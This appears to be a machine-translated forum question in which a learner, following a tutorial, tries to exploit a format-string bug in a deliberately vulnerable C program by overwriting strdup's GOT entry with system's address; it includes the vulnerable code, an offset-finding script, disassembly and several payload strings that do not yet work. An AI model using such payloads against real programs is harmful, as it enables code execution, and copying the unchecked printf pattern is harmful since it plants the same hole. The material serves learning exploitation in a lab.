Я следую этому учебнику об уязвимости Format String.
Речь идет не только об этом учебнике, но в каждом учебнике я могу аварийно завершить работу программы и чтение из стека , но я не могу записать в него . Я просто объясняю, что я сделал для этого:
1. Компиляция
Исходный код:
#include <stdio.h>
#include <string.h>
// compile with gcc -m32 temp.c
int main(int argc, char** argv) {
printf(argv[1]);
strdup(argv[1]);
}
Компиляция:
gcc app.c -m32 -fno-stack-protector -Wno-format-security -Wno-pie -no-pie
Причина, которую я использовал -Wno-pie -no-pie , описанная враздел 3.
2. Найти правильное смещение
Я написал простой скрипт на Python для поиска смещений:
from os import system
command = "./a.out 'sh;#AAAABBBB%00000x%{o1}$hp%00000x%{o2}$hp' >> out.txt"
space = "echo '\n{offset}' >> out.txt"
repeat = 2000
for i in range(repeat):
system(command.format(o1=i+1, o2=i+2))
system(space.format(offset=i+1))
, запустив скрипт, я обнаружил, что 177 и 178 являются правильными смещениями (хотя они не полностью корректны). Я думаю, 0x42414141 должно быть 0x41414141, а 0x25424242 должно быть 0x42424242):
➜ ./a.out 'sh;#AAAABBBB%00000x%177$hp%00000x%178$hp'
sh;#AAAABBBB00x42414141ffffcfc00x25424242%
3. Найти адрес strdup с помощью objdump
Первая попытка выглядит следующим образом:
000003e0 <strdup@plt>:
3e0: ff a3 10 00 00 00 jmp *0x10(%ebx)
3e6: 68 08 00 00 00 push $0x8
3eb: e9 d0 ff ff ff jmp 3c0 <.plt>
Но в учебнике адрес был прямым. так что я искал и выяснил, если я скомпилирую это с - Wno-pie no-pie Я могу получить прямой адрес:
08048310 <strdup@plt>:
8048310: ff 25 10 a0 04 08 jmp *0x804a010
8048316: 68 08 00 00 00 push $0x8
804831b: e9 d0 ff ff ff jmp 80482f0 <.plt>
ОК, поэтому нижний адрес strdup: Адрес 0x804a010 и выше: 0x804a012
4. Найдите системный адрес
, отключите ASLR:
➜ ulimit -s unlimited
и точно следуйте указаниям учебника:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x2a8a7200 <system>
5. Последний эксплойт
Хорошо, теперь я разбиваю системный адрес ( 0x2a8a7200 ) на две части и преобразую их в десятичную:
>>> 0x7200 - 12
29172
>>> 0x2a8a - 0x7200
-18294
Странно то, что второе значение отрицательнои я не знаю, как справиться с этим. В любом случае, это мой результат:
➜ ./a.out 'sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%29172x%177$hn%-18294x%178$hn'
Даже положительный результат с 18294:
➜ ./a.out 'sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%29172x%177$hn%18294x%178$hn'
после запуска этих двух ничего не происходит (без ошибок, без оболочки). А эксплойты, приведенные ниже, дают ошибку сегментации:
➜ ./a.out "$(python -c 'import sys;
sys.stdout.write("sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%29172x%177$hn%-18294x%178$hn")')"
И:
➜ ./a.out "$(python -c 'import sys;
sys.stdout.write("sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%29172x%177$hn%-18294x%178$hn")')"
У меня 64-битный ноутбук Linux Mint 19.1 Lenovo.